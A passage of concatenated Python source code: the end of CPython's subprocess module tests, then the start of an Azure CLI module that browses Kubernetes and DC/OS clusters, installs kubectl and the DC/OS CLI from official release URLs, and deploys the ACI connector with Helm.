ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertFalse(remaining_fds & fds_to_keep & open_fds, "Some fds not in pass_fds were left open") self.assertIn(1, remaining_fds, "Subprocess failed") @unittest.skipIf(sys.platform.startswith("freebsd") and os.stat("/dev").st_dev == os.stat("/dev/fd").st_dev, "Requires fdescfs mounted on /dev/fd on FreeBSD.") def test_close_fds_when_max_fd_is_lowered(self): """Confirm that issue21618 is fixed (may fail under valgrind).""" fd_status = support.findfile("fd_status.py", subdir="subprocessdata") # This launches the meat of the test in a child process to # avoid messing with the larger unittest processes maximum # number of file descriptors. # This process launches: # +--> Process that lowers its RLIMIT_NOFILE aftr setting up # a bunch of high open fds above the new lower rlimit. # Those are reported via stdout before launching a new # process with close_fds=False to run the actual test: # +--> The TEST: This one launches a fd_status.py # subprocess with close_fds=True so we can find out if # any of the fds above the lowered rlimit are still open. p = subprocess.Popen([sys.executable, '-c', textwrap.dedent( ''' import os, resource, subprocess, sys, textwrap open_fds = set() # Add a bunch more fds to pass down. for _ in range(40): fd = os.open("/dev/null", os.O_RDONLY) open_fds.add(fd) # Leave a two pairs of low ones available for use by the # internal child error pipe and the stdout pipe. # We also leave 10 more open as some Python buildbots run into # "too many open files" errors during the test if we do not. for fd in sorted(open_fds)[:14]: os.close(fd) open_fds.remove(fd) for fd in open_fds: #self.addCleanup(os.close, fd) os.set_inheritable(fd, True) max_fd_open = max(open_fds) # Communicate the open_fds to the parent unittest.TestCase process. print(','.join(map(str, sorted(open_fds)))) sys.stdout.flush() rlim_cur, rlim_max = resource.getrlimit(resource.RLIMIT_NOFILE) try: # 29 is lower than the highest fds we are leaving open. resource.setrlimit(resource.RLIMIT_NOFILE, (29, rlim_max)) # Launch a new Python interpreter with our low fd rlim_cur that # inherits open fds above that limit. It then uses subprocess # with close_fds=True to get a report of open fds in the child. # An explicit list of fds to check is passed to fd_status.py as # letting fd_status rely on its default logic would miss the # fds above rlim_cur as it normally only checks up to that limit. subprocess.Popen( [sys.executable, '-c', textwrap.dedent(""" import subprocess, sys subprocess.Popen([sys.executable, %r] + [str(x) for x in range({max_fd})], close_fds=True).wait() """.format(max_fd=max_fd_open+1))], close_fds=False).wait() finally: resource.setrlimit(resource.RLIMIT_NOFILE, (rlim_cur, rlim_max)) ''' % fd_status)], stdout=subprocess.PIPE) output, unused_stderr = p.communicate() output_lines = output.splitlines() self.assertEqual(len(output_lines), 2, msg="expected exactly two lines of output:\n%r" % output) opened_fds = set(map(int, output_lines[0].strip().split(b','))) remaining_fds = set(map(int, output_lines[1].strip().split(b','))) self.assertFalse(remaining_fds & opened_fds, msg="Some fds were left open.") # Mac OS X Tiger (10.4) has a kernel bug: sometimes, the file # descriptor of a pipe closed in the parent process is valid in the # child process according to fstat(), but the mode of the file # descriptor is invalid, and read or write raise an error. @support.requires_mac_ver(10, 5) def test_pass_fds(self): fd_status = support.findfile("fd_status.py", subdir="subprocessdata") open_fds = set() for x in range(5): fds = os.pipe() self.addCleanup(os.close, fds[0]) self.addCleanup(os.close, fds[1]) os.set_inheritable(fds[0], True) os.set_inheritable(fds[1], True) open_fds.update(fds) for fd in open_fds: p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True, pass_fds=(fd, )) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) to_be_closed = open_fds - {fd} self.assertIn(fd, remaining_fds, "fd to be passed not passed") self.assertFalse(remaining_fds & to_be_closed, "fd to be closed passed") # pass_fds overrides close_fds with a warning. with self.assertWarns(RuntimeWarning) as context: self.assertFalse(subprocess.call( [sys.executable, "-c", "import sys; sys.exit(0)"], close_fds=False, pass_fds=(fd, ))) self.assertIn('overriding close_fds', str(context.warning)) def test_pass_fds_inheritable(self): script = support.findfile("fd_status.py", subdir="subprocessdata") inheritable, non_inheritable = os.pipe() self.addCleanup(os.close, inheritable) self.addCleanup(os.close, non_inheritable) os.set_inheritable(inheritable, True) os.set_inheritable(non_inheritable, False) pass_fds = (inheritable, non_inheritable) args = [sys.executable, script] args += list(map(str, pass_fds)) p = subprocess.Popen(args, stdout=subprocess.PIPE, close_fds=True, pass_fds=pass_fds) output, ignored = p.communicate() fds = set(map(int, output.split(b','))) # the inheritable file descriptor must be inherited, so its inheritable # flag must be set in the child process after fork() and before exec() self.assertEqual(fds, set(pass_fds), "output=%a" % output) # inheritable flag must not be changed in the parent process self.assertEqual(os.get_inheritable(inheritable), True) self.assertEqual(os.get_inheritable(non_inheritable), False) def test_stdout_stdin_are_single_inout_fd(self): with io.open(os.devnull, "r+") as inout: p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdout=inout, stdin=inout) p.wait() def test_stdout_stderr_are_single_inout_fd(self): with io.open(os.devnull, "r+") as inout: p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdout=inout, stderr=inout) p.wait() def test_stderr_stdin_are_single_inout_fd(self): with io.open(os.devnull, "r+") as inout: p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stderr=inout, stdin=inout) p.wait() def test_wait_when_sigchild_ignored(self): # NOTE: sigchild_ignore.py may not be an effective test on all OSes. sigchild_ignore = support.findfile("sigchild_ignore.py", subdir="subprocessdata") p = subprocess.Popen([sys.executable, sigchild_ignore], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() self.assertEqual(0, p.returncode, "sigchild_ignore.py exited" " non-zero with this error:\n%s" % stderr.decode('utf-8')) def test_select_unbuffered(self): # Issue #11459: bufsize=0 should really set the pipes as # unbuffered (and therefore let select() work properly). select = support.import_module("select") p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple")'], stdout=subprocess.PIPE, bufsize=0) f = p.stdout self.addCleanup(f.close) try: self.assertEqual(f.read(4), b"appl") self.assertIn(f, select.select([f], [], [], 0.0)[0]) finally: p.wait() def test_zombie_fast_process_del(self): # Issue #12650: on Unix, if Popen.__del__() was called before the # process exited, it wouldn't be added to subprocess._active, and would # remain a zombie. # spawn a Popen, and delete its reference before it exits p = subprocess.Popen([sys.executable, "-c", 'import sys, time;' 'time.sleep(0.2)'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) ident = id(p) pid = p.pid del p # check that p is in the active processes list self.assertIn(ident, [id(o) for o in subprocess._active]) def test_leak_fast_process_del_killed(self): # Issue #12650: on Unix, if Popen.__del__() was called before the # process exited, and the process got killed by a signal, it would never # be removed from subprocess._active, which triggered a FD and memory # leak. # spawn a Popen, delete its reference and kill it p = subprocess.Popen([sys.executable, "-c", 'import time;' 'time.sleep(3)'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) ident = id(p) pid = p.pid del p os.kill(pid, signal.SIGKILL) # check that p is in the active processes list self.assertIn(ident, [id(o) for o in subprocess._active]) # let some time for the process to exit, and create a new Popen: this # should trigger the wait() of p time.sleep(0.2) with self.assertRaises(OSError) as c: with subprocess.Popen(['nonexisting_i_hope'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: pass # p should have been wait()ed on, and removed from the _active list self.assertRaises(OSError, os.waitpid, pid, 0) self.assertNotIn(ident, [id(o) for o in subprocess._active]) def test_close_fds_after_preexec(self): fd_status = support.findfile("fd_status.py", subdir="subprocessdata") # this FD is used as dup2() target by preexec_fn, and should be closed # in the child process fd = os.dup(1) self.addCleanup(os.close, fd) p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True, preexec_fn=lambda: os.dup2(1, fd)) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertNotIn(fd, remaining_fds) @support.cpython_only def test_fork_exec(self): # Issue #22290: fork_exec() must not crash on memory allocation failure # or other errors import _posixsubprocess gc_enabled = gc.isenabled() try: # Use a preexec function and enable the garbage collector # to force fork_exec() to re-enable the garbage collector # on error. func = lambda: None gc.enable() executable_list = "exec" # error: must be a sequence for args, exe_list, cwd, env_list in ( (123, [b"exe"], None, [b"env"]), ([b"arg"], 123, None, [b"env"]), ([b"arg"], [b"exe"], 123, [b"env"]), ([b"arg"], [b"exe"], None, 123), ): with self.assertRaises(TypeError): _posixsubprocess.fork_exec( args, exe_list, True, [], cwd, env_list, -1, -1, -1, -1, 1, 2, 3, 4, True, True, func) finally: if not gc_enabled: gc.disable() @unittest.skipUnless(mswindows, "Windows specific tests") class Win32ProcessTestCase(BaseTestCase): def test_startupinfo(self): # startupinfo argument # We uses hardcoded constants, because we do not want to # depend on win32all. STARTF_USESHOWWINDOW = 1 SW_MAXIMIZE = 3 startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_MAXIMIZE # Since Python is a console process, it won't be affected # by wShowWindow, but the argument should be silently # ignored subprocess.call([sys.executable, "-c", "import sys; sys.exit(0)"], startupinfo=startupinfo) def test_creationflags(self): # creationflags argument CREATE_NEW_CONSOLE = 16 sys.stderr.write(" a DOS box should flash briefly ...\n") subprocess.call(sys.executable + ' -c "import time; time.sleep(0.25)"', creationflags=CREATE_NEW_CONSOLE) def test_invalid_args(self): # invalid arguments should raise ValueError self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], preexec_fn=lambda: 1) self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], stdout=subprocess.PIPE, close_fds=True) def test_close_fds(self): # close file descriptors rc = subprocess.call([sys.executable, "-c", "import sys; sys.exit(47)"], close_fds=True) self.assertEqual(rc, 47) def test_shell_sequence(self): # Run command through the shell (sequence) newenv = os.environ.copy() newenv["FRUIT"] = "physalis" p = subprocess.Popen(["set"], shell=1, stdout=subprocess.PIPE, env=newenv) self.addCleanup(p.stdout.close) self.assertIn(b"physalis", p.stdout.read()) def test_shell_string(self): # Run command through the shell (string) newenv = os.environ.copy() newenv["FRUIT"] = "physalis" p = subprocess.Popen("set", shell=1, stdout=subprocess.PIPE, env=newenv) self.addCleanup(p.stdout.close) self.assertIn(b"physalis", p.stdout.read()) def test_call_string(self): # call() function with string argument on Windows rc = subprocess.call(sys.executable + ' -c "import sys; sys.exit(47)"') self.assertEqual(rc, 47) def _kill_process(self, method, *args): # Some win32 buildbot raises EOFError if stdin is inherited p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() time.sleep(30) """], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) getattr(p, method)(*args) _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') returncode = p.wait() self.assertNotEqual(returncode, 0) def _kill_dead_process(self, method, *args): p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() sys.exit(42) """], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) # The process should end after this time.sleep(1) # This shouldn't raise even though the child is now dead getattr(p, method)(*args) _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') rc = p.wait() self.assertEqual(rc, 42) def test_send_signal(self): self._kill_process('send_signal', signal.SIGTERM) def test_kill(self): self._kill_process('kill') def test_terminate(self): self._kill_process('terminate') def test_send_signal_dead(self): self._kill_dead_process('send_signal', signal.SIGTERM) def test_kill_dead(self): self._kill_dead_process('kill') def test_terminate_dead(self): self._kill_dead_process('terminate') class CommandTests(unittest.TestCase): def test_getoutput(self): self.assertEqual(subprocess.getoutput('echo xyzzy'), 'xyzzy') self.assertEqual(subprocess.getstatusoutput('echo xyzzy'), (0, 'xyzzy')) # we use mkdtemp in the next line to create an empty directory # under our exclusive control; from that, we can invent a pathname # that we _know_ won't exist. This is guaranteed to fail. dir = None try: dir = tempfile.mkdtemp() name = os.path.join(dir, "foo") status, output = subprocess.getstatusoutput( ("type " if mswindows else "cat ") + name) self.assertNotEqual(status, 0) finally: if dir is not None: os.rmdir(dir) @unittest.skipUnless(hasattr(selectors, 'PollSelector'), "Test needs selectors.PollSelector") class ProcessTestCaseNoPoll(ProcessTestCase): def setUp(self): self.orig_selector = subprocess._PopenSelector subprocess._PopenSelector = selectors.SelectSelector ProcessTestCase.setUp(self) def tearDown(self): subprocess._PopenSelector = self.orig_selector ProcessTestCase.tearDown(self) class HelperFunctionTests(unittest.TestCase): @unittest.skipIf(mswindows, "errno and EINTR make no sense on windows") def test_eintr_retry_call(self): record_calls = [] def fake_os_func(*args): record_calls.append(args) if len(record_calls) == 2: raise OSError(errno.EINTR, "fake interrupted system call") return tuple(reversed(args)) self.assertEqual((999, 256), subprocess._eintr_retry_call(fake_os_func, 256, 999)) self.assertEqual([(256, 999)], record_calls) # This time there will be an EINTR so it will loop once. self.assertEqual((666,), subprocess._eintr_retry_call(fake_os_func, 666)) self.assertEqual([(256, 999), (666,), (666,)], record_calls) @unittest.skipUnless(mswindows, "Windows-specific tests") class CommandsWithSpaces (BaseTestCase): def setUp(self): super().setUp() f, fname = mkstemp(".py", "te st") self.fname = fname.lower () os.write(f, b"import sys;" b"sys.stdout.write('%d %s' % (len(sys.argv), [a.lower () for a in sys.argv]))" ) os.close(f) def tearDown(self): os.remove(self.fname) super().tearDown() def with_spaces(self, *args, **kwargs): kwargs['stdout'] = subprocess.PIPE p = subprocess.Popen(*args, **kwargs) self.addCleanup(p.stdout.close) self.assertEqual( p.stdout.read ().decode("mbcs"), "2 [%r, 'ab cd']" % self.fname ) def test_shell_string_with_spaces(self): # call() function with string argument with spaces on Windows self.with_spaces('"%s" "%s" "%s"' % (sys.executable, self.fname, "ab cd"), shell=1) def test_shell_sequence_with_spaces(self): # call() function with sequence argument with spaces on Windows self.with_spaces([sys.executable, self.fname, "ab cd"], shell=1) def test_noshell_string_with_spaces(self): # call() function with string argument with spaces on Windows self.with_spaces('"%s" "%s" "%s"' % (sys.executable, self.fname, "ab cd")) def test_noshell_sequence_with_spaces(self): # call() function with sequence argument with spaces on Windows self.with_spaces([sys.executable, self.fname, "ab cd"]) class ContextManagerTests(BaseTestCase): def test_pipe(self): with subprocess.Popen([sys.executable, "-c", "import sys;" "sys.stdout.write('stdout');" "sys.stderr.write('stderr');"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: self.assertEqual(proc.stdout.read(), b"stdout") self.assertStderrEqual(proc.stderr.read(), b"stderr") self.assertTrue(proc.stdout.closed) self.assertTrue(proc.stderr.closed) def test_returncode(self): with subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(100)"]) as proc: pass # __exit__ calls wait(), so the returncode should be set self.assertEqual(proc.returncode, 100) def test_communicate_stdin(self): with subprocess.Popen([sys.executable, "-c", "import sys;" "sys.exit(sys.stdin.read() == 'context')"], stdin=subprocess.PIPE) as proc: proc.communicate(b"context") self.assertEqual(proc.returncode, 1) def test_invalid_args(self): with self.assertRaises(FileNotFoundError) as c: with subprocess.Popen(['nonexisting_i_hope'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: pass def test_main(): unit_tests = (ProcessTestCase, POSIXProcessTestCase, Win32ProcessTestCase, CommandTests, ProcessTestCaseNoPoll, HelperFunctionTests, CommandsWithSpaces, ContextManagerTests, ) support.run_unittest(*unit_tests) support.reap_children() if __name__ == "__main__": unittest.main()
custom.py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from __future__ import print_function import binascii import datetime import errno import json import os import os.path import platform import random import re import ssl import stat import string import subprocess import sys import tempfile import threading import time import uuid import webbrowser from six.moves.urllib.request import urlopen # pylint: disable=import-error from six.moves.urllib.error import URLError # pylint: disable=import-error import yaml import dateutil.parser from dateutil.relativedelta import relativedelta from knack.log import get_logger from knack.util import CLIError from msrestazure.azure_exceptions import CloudError import requests from azure.cli.command_modules.acs import acs_client, proxy from azure.cli.command_modules.acs._params import regions_in_preview, regions_in_prod from azure.cli.core.api import get_config_dir from azure.cli.core._profile import Profile from azure.cli.core.commands.client_factory import get_mgmt_service_client from azure.cli.core.keys import is_valid_ssh_rsa_public_key from azure.cli.core.util import in_cloud_console, shell_safe_json_parse, truncate_text, sdk_no_wait from azure.graphrbac.models import (ApplicationCreateParameters, PasswordCredential, KeyCredential, ServicePrincipalCreateParameters, GetObjectsParameters, ResourceAccess, RequiredResourceAccess) from azure.mgmt.containerservice.models import ContainerServiceLinuxProfile from azure.mgmt.containerservice.models import ContainerServiceNetworkProfile from azure.mgmt.containerservice.models import ContainerServiceOrchestratorTypes from azure.mgmt.containerservice.models import ContainerServiceServicePrincipalProfile from azure.mgmt.containerservice.models import ContainerServiceSshConfiguration from azure.mgmt.containerservice.models import ContainerServiceSshPublicKey from azure.mgmt.containerservice.models import ContainerServiceStorageProfileTypes from azure.mgmt.containerservice.v2018_03_31.models import ManagedCluster from azure.mgmt.containerservice.v2018_03_31.models import ManagedClusterAADProfile from azure.mgmt.containerservice.v2018_03_31.models import ManagedClusterAddonProfile from azure.mgmt.containerservice.v2018_03_31.models import ManagedClusterAgentPoolProfile from azure.mgmt.containerservice.models import OpenShiftManagedClusterAgentPoolProfile from azure.mgmt.containerservice.models import OpenShiftAgentPoolProfileRole from azure.mgmt.containerservice.models import OpenShiftManagedClusterIdentityProvider from azure.mgmt.containerservice.models import OpenShiftManagedClusterAADIdentityProvider from azure.mgmt.containerservice.models import OpenShiftManagedCluster from azure.mgmt.containerservice.models import OpenShiftRouterProfile from azure.mgmt.containerservice.models import OpenShiftManagedClusterAuthProfile from azure.mgmt.containerservice.models import NetworkProfile from ._client_factory import cf_container_services from ._client_factory import cf_resource_groups from ._client_factory import get_auth_management_client from ._client_factory import get_graph_rbac_management_client from ._client_factory import cf_resources logger = get_logger(__name__) # pylint:disable=too-many-lines,unused-argument def which(binary): path_var = os.getenv('PATH') if platform.system() == 'Windows': binary = binary + '.exe' parts = path_var.split(';') else: parts = path_var.split(':') for part in parts: bin_path = os.path.join(part, binary) if os.path.exists(bin_path) and os.path.isfile(bin_path) and os.access(bin_path, os.X_OK): return bin_path return None def wait_then_open(url): """ Waits for a bit then opens a URL. Useful for waiting for a proxy to come up, and then open the URL. """ for _ in range(1, 10): try: urlopen(url, context=_ssl_context()) except URLError: time.sleep(1) break webbrowser.open_new_tab(url) def wait_then_open_async(url): """ Spawns a thread that waits for a bit then opens a URL. """ t = threading.Thread(target=wait_then_open, args=({url})) t.daemon = True t.start() def acs_browse(cmd, client, resource_group, name, disable_browser=False, ssh_key_file=None): """ Opens a browser to the web interface for the cluster orchestrator :param name: Name of the target Azure container service instance. :type name: String :param resource_group_name: Name of Azure container service's resource group. :type resource_group_name: String :param disable_browser: If true, don't launch a web browser after estabilishing the proxy :type disable_browser: bool :param ssh_key_file: If set a path to an SSH key to use, only applies to DCOS :type ssh_key_file: string """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group) _acs_browse_internal(cmd, client, acs_info, resource_group, name, disable_browser, ssh_key_file) def _acs_browse_internal(cmd, client, acs_info, resource_group, name, disable_browser, ssh_key_file): orchestrator_type = acs_info.orchestrator_profile.orchestrator_type # pylint: disable=no-member if str(orchestrator_type).lower() == 'kubernetes' or \ orchestrator_type == ContainerServiceOrchestratorTypes.kubernetes or \ (acs_info.custom_profile and acs_info.custom_profile.orchestrator == 'kubernetes'): # pylint: disable=no-member return k8s_browse(cmd, client, name, resource_group, disable_browser, ssh_key_file=ssh_key_file) elif str(orchestrator_type).lower() == 'dcos' or orchestrator_type == ContainerServiceOrchestratorTypes.dcos: return _dcos_browse_internal(acs_info, disable_browser, ssh_key_file) else: raise CLIError('Unsupported orchestrator type {} for browse'.format(orchestrator_type)) def k8s_browse(cmd, client, name, resource_group, disable_browser=False, ssh_key_file=None): """ Launch a proxy and browse the Kubernetes web UI. :param disable_browser: If true, don't launch a web browser after estabilishing the proxy :type disable_browser: bool """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group) _k8s_browse_internal(name, acs_info, disable_browser, ssh_key_file) def _k8s_browse_internal(name, acs_info, disable_browser, ssh_key_file): if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') browse_path = os.path.join(get_config_dir(), 'acsBrowseConfig.yaml') if os.path.exists(browse_path): os.remove(browse_path) _k8s_get_credentials_internal(name, acs_info, browse_path, ssh_key_file, False) logger.warning('Proxy running on 127.0.0.1:8001/ui') logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async('http://127.0.0.1:8001/ui') subprocess.call(["kubectl", "--kubeconfig", browse_path, "proxy"]) def dcos_browse(cmd, client, name, resource_group, disable_browser=False, ssh_key_file=None): """ Creates an SSH tunnel to the Azure container service, and opens the Mesosphere DC/OS dashboard in the browser. :param name: name: Name of the target Azure container service instance. :type name: String :param resource_group_name: Name of Azure container service's resource group. :type resource_group_name: String :param disable_browser: If true, don't launch a web browser after estabilishing the proxy :type disable_browser: bool :param ssh_key_file: Path to the SSH key to use :type ssh_key_file: string """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group) _dcos_browse_internal(acs_info, disable_browser, ssh_key_file) def _dcos_browse_internal(acs_info, disable_browser, ssh_key_file): if not os.path.isfile(ssh_key_file): raise CLIError('Private key file {} does not exist'.format(ssh_key_file)) acs = acs_client.ACSClient() if not acs.connect(_get_host_name(acs_info), _get_username(acs_info), key_filename=ssh_key_file): raise CLIError('Error connecting to ACS: {}'.format(_get_host_name(acs_info))) octarine_bin = '/opt/mesosphere/bin/octarine' if not acs.file_exists(octarine_bin): raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(octarine_bin)) proxy_id = _rand_str(16) proxy_cmd = '{} {}'.format(octarine_bin, proxy_id) acs.run(proxy_cmd, background=True) # Parse the output to get the remote PORT proxy_client_cmd = '{} --client --port {}'.format(octarine_bin, proxy_id) stdout, _ = acs.run(proxy_client_cmd) remote_port = int(stdout.read().decode().strip()) local_port = acs.get_available_local_port() # Set the proxy proxy.set_http_proxy('127.0.0.1', local_port) logger.warning('Proxy running on 127.0.0.1:%s', local_port) logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async('http://127.0.0.1') try: acs.create_tunnel( remote_host='127.0.0.1', remote_port=remote_port, local_port=local_port) finally: proxy.disable_http_proxy() return def acs_install_cli(cmd, client, resource_group, name, install_location=None, client_version=None): acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group) orchestrator_type = acs_info.orchestrator_profile.orchestrator_type # pylint: disable=no-member kwargs = {'install_location': install_location} if client_version: kwargs['client_version'] = client_version if orchestrator_type == 'kubernetes': return k8s_install_cli(**kwargs) elif orchestrator_type == 'dcos': return dcos_install_cli(**kwargs) else: raise CLIError('Unsupported orchestrator type {} for install-cli'.format(orchestrator_type)) def _ssl_context(): if sys.version_info < (3, 4) or (in_cloud_console() and platform.system() == 'Windows'): try: return ssl.SSLContext(ssl.PROTOCOL_TLS) # added in python 2.7.13 and 3.6 except AttributeError: return ssl.SSLContext(ssl.PROTOCOL_TLSv1) return ssl.create_default_context() def _urlretrieve(url, filename): req = urlopen(url, context=_ssl_context()) with open(filename, "wb") as f: f.write(req.read()) def dcos_install_cli(cmd, install_location=None, client_version='1.8'): """ Downloads the dcos command line from Mesosphere """ system = platform.system() if not install_location: raise CLIError( "No install location specified and it could not be determined from the current platform '{}'".format( system)) base_url = 'https://downloads.dcos.io/binaries/cli/{}/x86-64/dcos-{}/{}' if system == 'Windows': file_url = base_url.format('windows', client_version, 'dcos.exe') elif system == 'Linux': # TODO Support ARM CPU here file_url = base_url.format('linux', client_version, 'dcos') elif system == 'Darwin': file_url = base_url.format('darwin', client_version, 'dcos') else: raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(system)) logger.warning('Downloading client to %s', install_location) try: _urlretrieve(file_url, install_location) os.chmod(install_location, os.stat(install_location).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) except IOError as err: raise CLIError('Connection error while attempting to download client ({})'.format(err)) def k8s_install_cli(cmd, client_version='latest', install_location=None): """Install kubectl, a command-line interface for Kubernetes clusters.""" source_url = "https://storage.googleapis.com/kubernetes-release/release" cloud_name = cmd.cli_ctx.cloud.name if cloud_name.lower() == 'azurechinacloud': source_url = 'https://mirror.azure.cn/kubernetes/kubectl' if client_version == 'latest': context = _ssl_context() version = urlopen(source_url + '/stable.txt', context=context).read() client_version = version.decode('UTF-8').strip() else: client_version = "v%s" % client_version file_url = '' system = platform.system() base_url = source_url + '/{}/bin/{}/amd64/{}' # ensure installation directory exists install_dir, cli = os.path.dirname(install_location), os.path.basename(install_location) if not os.path.exists(install_dir): os.makedirs(install_dir) if system == 'Windows': file_url = base_url.format(client_version, 'windows', 'kubectl.exe') elif system == 'Linux': # TODO: Support ARM CPU here file_url = base_url.format(client_version, 'linux', 'kubectl') elif system == 'Darwin': file_url = base_url.format(client_version, 'darwin', 'kubectl') else: raise CLIError('Proxy server ({}) does not exist on the cluster.'.format(system)) logger.warning('Downloading client to "%s" from "%s"', install_location, file_url) try: _urlretrieve(file_url, install_location) os.chmod(install_location, os.stat(install_location).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) except IOError as ex: raise CLIError('Connection error while attempting to download client ({})'.format(ex)) if system == 'Windows': # be verbose, as the install_location likely not in Windows's search PATHs env_paths = os.environ['PATH'].split(';') found = next((x for x in env_paths if x.lower().rstrip('\\') == install_dir.lower()), None) if not found: # pylint: disable=logging-format-interpolation logger.warning('Please add "{0}" to your search PATH so the `{1}` can be found. 2 options: \n' ' 1. Run "set PATH=%PATH%;{0}" or "$env:path += \'{0}\'" for PowerShell. ' 'This is good for the current command session.\n' ' 2. Update system PATH environment variable by following ' '"Control Panel->System->Advanced->Environment Variables", and re-open the command window. ' 'You only need to do it once'.format(install_dir, cli)) else: logger.warning('Please ensure that %s is in your search PATH, so the `%s` command can be found.', install_dir, cli) def k8s_install_connector(cmd, client, name, resource_group_name, connector_name='aci-connector', location=None, service_principal=None, client_secret=None, chart_url=None, os_type='Linux', image_tag=None, aci_resource_group=None): _k8s_install_or_upgrade_connector("install", cmd, client, name, resource_group_name, connector_name, location, service_principal, client_secret, chart_url, os_type, image_tag, aci_resource_group) def k8s_upgrade_connector(cmd, client, name, resource_group_name, connector_name='aci-connector', location=None, service_principal=None, client_secret=None, chart_url=None, os_type='Linux', image_tag=None, aci_resource_group=None): _k8s_install_or_upgrade_connector("upgrade", cmd, client, name, resource_group_name, connector_name, location, service_principal, client_secret, chart_url, os_type, image_tag, aci_resource_group) def _k8s_install_or_upgrade_connector(helm_cmd, cmd, client, name, resource_group_name, connector_name, location, service_principal, client_secret, chart_url, os_type, image_tag, aci_resource_group): from subprocess import PIPE, Popen instance = client.get(resource_group_name, name) helm_not_installed = 'Helm not detected, please verify if it is installed.' url_chart = chart_url if image_tag is None: image_tag = 'latest' # Check if Helm is installed locally try: Popen(["helm"], stdout=PIPE, stderr=PIPE) except OSError: raise CLIError(helm_not_installed) # If SPN is specified, the secret should also be specified if service_principal is not None and client_secret is None: raise CLIError('--client-secret must be specified when --service-principal is specified') # Validate if the RG exists rg_location = _get_rg_location(cmd.cli_ctx, aci_resource_group or resource_group_name) # Auto assign the location if location is None: location = rg_location norm_location = location.replace(' ', '').lower() # Validate the location upon the ACI avaiable regions _validate_aci_location(norm_location) # Get the credentials from a AKS instance _, browse_path = tempfile.mkstemp() aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=browse_path) subscription_id = _get_subscription_id(cmd.cli_ctx) # Get the TenantID profile = Profile(cli_ctx=cmd.cli_ctx) _, _, tenant_id = profile.get_login_credentials() # Check if we want the linux connector if os_type.lower() in ['linux', 'both']: _helm_install_or_upgrade_aci_connector(helm_cmd, image_tag, url_chart, connector_name, service_principal, client_secret, subscription_id, tenant_id, aci_resource_group, norm_location, 'Linux', instance.enable_rbac, instance.fqdn) # Check if we want the windows connector if os_type.lower() in ['windows', 'both']: _helm_install_or_upgrade_aci_connector(helm_cmd, image_tag, url_chart, connector_name, service_principal, client_secret, subscription_id, tenant_id, aci_resource_group, norm_location, 'Windows', instance.enable_rbac, instance.fqdn) def _helm_install_or_upgrade_aci_connector(helm_cmd, image_tag, url_chart, connector_name, service_principal, client_secret, subscription_id, tenant_id, aci_resource_group, norm_location, os_type, use_rbac, masterFqdn): rbac_install = "true" if use_rbac else "false" node_taint = 'azure.com/aci' helm_release_name = connector_name.lower() + '-' + os_type.lower() + '-' + norm_location node_name = 'virtual-kubelet-' + helm_release_name k8s_master = 'https://{}'.format(masterFqdn) logger.warning("Deploying the ACI connector for '%s' using Helm", os_type) try: values = 'env.nodeName={},env.nodeTaint={},env.nodeOsType={},image.tag={},rbac.install={}'.format( node_name, node_taint, os_type, image_tag, rbac_install) if service_principal: values += ",env.azureClientId=" + service_principal if client_secret: values += ",env.azureClientKey=" + client_secret if subscription_id: values += ",env.azureSubscriptionId=" + subscription_id if tenant_id: values += ",env.azureTenantId=" + tenant_id if aci_resource_group: values += ",env.aciResourceGroup=" + aci_resource_group if norm_location: values += ",env.aciRegion=" + norm_location # Currently, we need to set the master FQDN. # This is temporary and we should remove it when possible values += ",env.masterUri=" + k8s_master if helm_cmd == "install": subprocess.call(["helm", "install", url_chart, "--name", helm_release_name, "--set", values]) elif helm_cmd == "upgrade": subprocess.call(["helm", 